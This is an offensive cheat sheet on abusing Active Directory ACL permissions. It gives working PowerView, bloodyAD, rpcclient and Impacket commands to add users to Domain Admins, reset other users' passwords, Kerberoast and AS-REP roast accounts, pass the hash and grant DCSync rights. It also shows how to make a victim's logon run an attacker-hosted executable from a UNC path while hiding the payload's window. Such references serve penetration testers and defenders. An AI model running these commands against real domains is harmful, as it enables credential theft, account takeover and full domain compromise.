• ACL: Access Control Lists
• ACE: Access Control Entry

Check ACL for an User with ADACLScanner.

ADACLScan.ps1 -Base "DC=contoso;DC=com" -Filter "(&(AdminCount=1))" -Scope subtree -EffectiveRightsPrincipal User1 -Output HTML -Show

GenericAll

• GenericAll on User : We can reset user’s password without knowing the current password
• GenericAll on Group : Effectively, this allows us to add ourselves (the user hacker) to the Domain Admin group :
  • On Windows : net group "domain admins" hacker /add /domain
  • On Linux:
    • using the Samba software suite : net rpc group ADDMEM "GROUP NAME" UserToAdd -U 'hacker%MyPassword123' -W DOMAIN -I [DC IP]
    • using bloodyAD: bloodyAD.py --host [DC IP] -d DOMAIN -u hacker -p MyPassword123 addObjectToGroup UserToAdd 'GROUP NAME'
• GenericAll/GenericWrite : We can set a SPN on a target account, request a Service Ticket (ST), then grab its hash and kerberoast it.

  # Check for interesting permissions on accounts:
  Invoke-ACLScanner -ResolveGUIDs | ?{$_.IdentinyReferenceName -match "RDPUsers"}
  
  # Check if current user has already an SPN setted:
  PowerView2 > Get-DomainUser -Identity <UserName> | select serviceprincipalname
  
  # Force set the SPN on the account: Targeted Kerberoasting
  PowerView2 > Set-DomainObject <UserName> -Set @{serviceprincipalname='ops/whatever1'}
  PowerView3 > Set-DomainObject -Identity <UserName> -Set @{serviceprincipalname='any/thing'}
  
  # Grab the ticket
  PowerView2 > $User = Get-DomainUser username 
  PowerView2 > $User | Get-DomainSPNTicket | fl
  PowerView2 > $User | Select serviceprincipalname
  
  # Remove the SPN
  PowerView2 > Set-DomainObject -Identity username -Clear serviceprincipalname
  

   

• GenericAll/GenericWrite : We can change a victim’s userAccountControl to not require Kerberos preauthentication, grab the user’s crackable AS-REP, and then change the setting back.
  • On Windows:

    # Modify the userAccountControl
    PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
    
    # Grab the ticket
    PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    ASREPRoast > Get-ASREPHash -Domain domain.local -UserName username
    
    # Set back the userAccountControl
    PowerView2 > Set-DomainObject -Identity username -XOR @{useraccountcontrol=4194304} -Verbose
    PowerView2 > Get-DomainUser username | ConvertFrom-UACValue
    

  • On Linux:

    # Modify the userAccountControl
    $ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 True
    
    # Grab the ticket
    $ GetNPUsers.py DOMAIN/target_user -format <AS_REP_responses_format [hashcat | john]> -outputfile <output_AS_REP_responses_file>
    
    # Set back the userAccountControl
    $ bloodyAD.py --host [DC IP] -d [DOMAIN] -u [AttackerUser] -p [MyPassword] setUserAccountControl [Target_User] 0x400000 False
    

GenericWrite

• Reset another user’s password
  • On Windows:

    # https://github.com/EmpireProject/Empire/blob/master/data/module_source/situational_awareness/network/powerview.ps1
    $user = 'DOMAIN\user1'; 
    $pass= ConvertTo-SecureString 'user1pwd' -AsPlainText -Force; 
    $creds = New-Object System.Management.Automation.PSCredential $user, $pass;
    $newpass = ConvertTo-SecureString 'newsecretpass' -AsPlainText -Force; 
    Set-DomainUserPassword -Identity 'DOMAIN\user2' -AccountPassword $newpass -Credential $creds;
    

  • On Linux:

    # Using rpcclient from the  Samba software suite
    rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
    
    # Using bloodyAD with pass-the-hash
    bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
    

• WriteProperty on an ObjectType, which in this particular case is Script-Path, allows the attacker to overwrite the logon script path of the delegate user, which means that the next time, when the user delegate logs on, their system will execute our malicious script : Set-ADObject -SamAccountName delegate -PropertyName scriptpath -PropertyValue "\\10.0.0.5\totallyLegitScript.ps1

GenericWrite and Remote Connection Manager

Now let’s say you are in an Active Directory environment that still actively uses a Windows Server version that has RCM enabled, or that you are able to enable RCM on a compromised RDSH, what can we actually do ? Well each user object in Active Directory has a tab called ‘Environment’.

This tab includes settings that, among other things, can be used to change what program is started when a user connects over the Remote Desktop Protocol (RDP) to a TS/RDSH in place of the normal graphical environment. The settings in the ‘Starting program’ field basically function like a windows shortcut, allowing you to supply either a local or remote (UNC) path to an executable which is to be started upon connecting to the remote host. During the logon process these values will be queried by the RCM process and run whatever executable is defined. – https://sensepost.com/blog/2020/ace-to-rce/

 The RCM is only active on Terminal Servers/Remote Desktop Session Hosts. The RCM has also been disabled on recent version of Windows (>2016), it requires a registry change to re-enable.

$UserObject = ([ADSI]("LDAP://CN=User,OU=Users,DC=ad,DC=domain,DC=tld"))
$UserObject.TerminalServicesInitialProgram = "\\1.2.3.4\share\file.exe"
$UserObject.TerminalServicesWorkDirectory = "C:\"
$UserObject.SetInfo()

NOTE: To not alert the user the payload should hide its own process window and spawn the normal graphical environment.

WriteDACL

To abuse WriteDacl to a domain object, you may grant yourself the DcSync privileges. It is possible to add any given account as a replication partner of the domain by applying the following extended rights Replicating Directory Changes/Replicating Directory Changes All. Invoke-ACLPwn is a tool that automates the discovery and pwnage of ACLs in Active Directory that are unsafe configured : ./Invoke-ACL.ps1 -SharpHoundLocation .\sharphound.exe -mimiKatzLocation .\mimikatz.exe -Username 'user1' -Domain 'domain.local' -Password 'Welcome01!'

• WriteDACL on Domain:
  • On Windows:

    # Give DCSync right to the principal identity
    Import-Module .\PowerView.ps1
    $SecPassword = ConvertTo-SecureString 'user1pwd' -AsPlainText -Force
    $Cred = New-Object System.Management.Automation.PSCredential('DOMAIN.LOCAL\user1', $SecPassword)
    Add-DomainObjectAcl -Credential $Cred -TargetIdentity 'DC=domain,DC=local' -Rights DCSync -PrincipalIdentity user2 -Verbose -Domain domain.local 
    

  • On Linux:

    # Give DCSync right to the principal identity
    bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2
    
    # Remove right after DCSync
    bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B setDCSync user2 False
    

• WriteDACL on Group « `powershell PowerSploit> Add-DomainObjectAcl -TargetIdentity « INTERESTING_GROUP » -Rights WriteMembers -PrincipalIdentity User1 net group « INTERESTING_GROUP » User1 /add /domain bloodyAD> bloodyAD.py –host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp

# Remove right bloodyAD.py –host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setGenericAll devil_user1 cn=INTERESTING_GROUP,dc=corp False « `

WriteOwner

An attacker can update the owner of the target object. Once the object owner has been changed to a principal the attacker controls, the attacker may manipulate the object any way they see fit. This can be achieved with Set-DomainObjectOwner (PowerView module).

Set-DomainObjectOwner -Identity 'target_object' -OwnerIdentity 'controlled_principal'

Using BloodyAD

bloodyAD.py --host my.dc.corp -d corp -u devil_user1 -p P@ssword123 setOwner devil_user1 target_object

This ACE can be abused for an Immediate Scheduled Task attack, or for adding a user to the local admin group.

ReadLAPSPassword

An attacker can read the LAPS password of the computer account this ACE applies to. This can be achieved with the Active Directory PowerShell module. Detail of the exploitation can be found in the Reading LAPS Password section.

Get-ADComputer -filter {ms-mcs-admpwdexpirationtime -like '*'} -prop 'ms-mcs-admpwd','ms-mcs-admpwdexpirationtime'

Or for a given computer

bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes LAPS_PC$ ms-mcs-admpwd,ms-mcs-admpwdexpirationtime

ReadGMSAPassword

An attacker can read the GMSA password of the account this ACE applies to. This can be achieved with the Active Directory and DSInternals PowerShell modules.

# Save the blob to a variable
$gmsa = Get-ADServiceAccount -Identity 'SQL_HQ_Primary' -Properties 'msDS-ManagedPassword'
$mp = $gmsa.'msDS-ManagedPassword'

# Decode the data structure using the DSInternals module
ConvertFrom-ADManagedPasswordBlob $mp

Using BloodyAD

python bloodyAD.py -u john.doe -d bloody -p Password512 --host 192.168.10.2 getObjectAttributes gmsaAccount$ msDS-ManagedPassword

ForceChangePassword

An attacker can change the password of the user this ACE applies to:

• Windows:

  $NewPassword = ConvertTo-SecureString 'Password123!' -AsPlainText -Force
  Set-DomainUserPassword -Identity 'TargetUser' -AccountPassword $NewPassword
  

   

• Linux:

  # Using rpcclient from the  Samba software suite
  rpcclient -U 'attacker_user%my_password' -W DOMAIN -c "setuserinfo2 target_user 23 target_newpwd" 
  
  # Using bloodyAD with pass-the-hash
  bloodyAD.py --host [DC IP] -d DOMAIN -u attacker_user -p :B4B9B02E6F09A9BD760F388B67351E2B changePassword target_user target_newpwd
  

   

References

• ACE to RCE – @JustinPerdok – July 24, 2020
• Access Control Entries (ACEs) – The Hacker Recipes – @_nwodtuhs
• Escalating privileges with ACLs in Active Directory – April 26, 2018 – Rindert Kramer and Dirk-jan Mollema